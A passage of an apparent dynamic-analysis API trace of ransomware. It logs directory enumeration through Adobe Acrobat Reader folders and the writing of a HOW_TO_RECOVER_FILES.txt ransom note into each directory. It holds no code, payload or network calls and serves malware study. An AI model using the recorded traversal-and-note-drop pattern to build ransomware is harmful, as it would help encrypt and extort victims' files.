nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.319] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.319] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0103.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0103.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0103.324] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs", lpFilePart=0x0) returned 0x64 [0103.324] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.324] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.324] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.324] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0103.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0103.324] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdea270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7d [0103.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea790) returned 1 [0103.324] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\app\\dev\\libs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6bc [0103.325] GetFileType (hFile=0x6bc) returned 0x1 [0103.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea700) returned 1 [0103.325] GetFileType (hFile=0x6bc) returned 0x1 [0103.326] WriteFile (in: hFile=0x6bc, lpBuffer=0x35d40d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdea858, lpOverlapped=0x0 | out: lpBuffer=0x35d40d8*, lpNumberOfBytesWritten=0x1fdea858*=0x5d0, lpOverlapped=0x0) returned 1 [0103.327] CloseHandle (hObject=0x6bc) returned 1 [0103.327] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeaca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x78 [0103.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb1c0) returned 1 [0103.327] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\app\\dev\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6bc [0103.328] GetFileType (hFile=0x6bc) returned 0x1 [0103.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb130) returned 1 [0103.328] GetFileType (hFile=0x6bc) returned 0x1 [0103.328] WriteFile (in: hFile=0x6bc, lpBuffer=0x35d7a10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdeb288, lpOverlapped=0x0 | out: lpBuffer=0x35d7a10*, lpNumberOfBytesWritten=0x1fdeb288*=0x5d0, lpOverlapped=0x0) returned 1 [0103.329] CloseHandle (hObject=0x6bc) returned 1 [0103.329] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeb6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0103.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebbf0) returned 1 [0103.330] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\app\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6bc [0103.330] GetFileType (hFile=0x6bc) returned 0x1 [0103.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb60) returned 1 [0103.330] GetFileType (hFile=0x6bc) returned 0x1 [0103.331] WriteFile (in: hFile=0x6bc, lpBuffer=0x35db338*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdebcb8, lpOverlapped=0x0 | out: lpBuffer=0x35db338*, lpNumberOfBytesWritten=0x1fdebcb8*=0x5d0, lpOverlapped=0x0) returned 1 [0103.332] CloseHandle (hObject=0x6bc) returned 1 [0103.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0103.332] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core", lpFilePart=0x0) returned 0x5c [0103.332] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.333] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.333] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0103.333] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 0 [0103.333] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0103.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0103.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0103.333] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core", lpFilePart=0x0) returned 0x5c [0103.333] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.334] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.334] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0103.334] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.334] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0103.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0103.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0103.334] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev", lpFilePart=0x0) returned 0x60 [0103.334] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.335] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.335] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef", cAlternateFileName="")) returned 1 [0103.335] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0103.335] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0103.335] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0103.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0103.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0103.335] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev", lpFilePart=0x0) returned 0x60 [0103.336] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.336] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.336] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef", cAlternateFileName="")) returned 1 [0103.336] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0103.336] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.336] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0103.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0103.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0103.337] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef", lpFilePart=0x0) returned 0x64 [0103.337] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.337] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.337] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.337] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0103.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0103.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0103.337] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef", lpFilePart=0x0) returned 0x64 [0103.337] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.338] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.338] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.338] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0103.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0103.338] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdea270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files 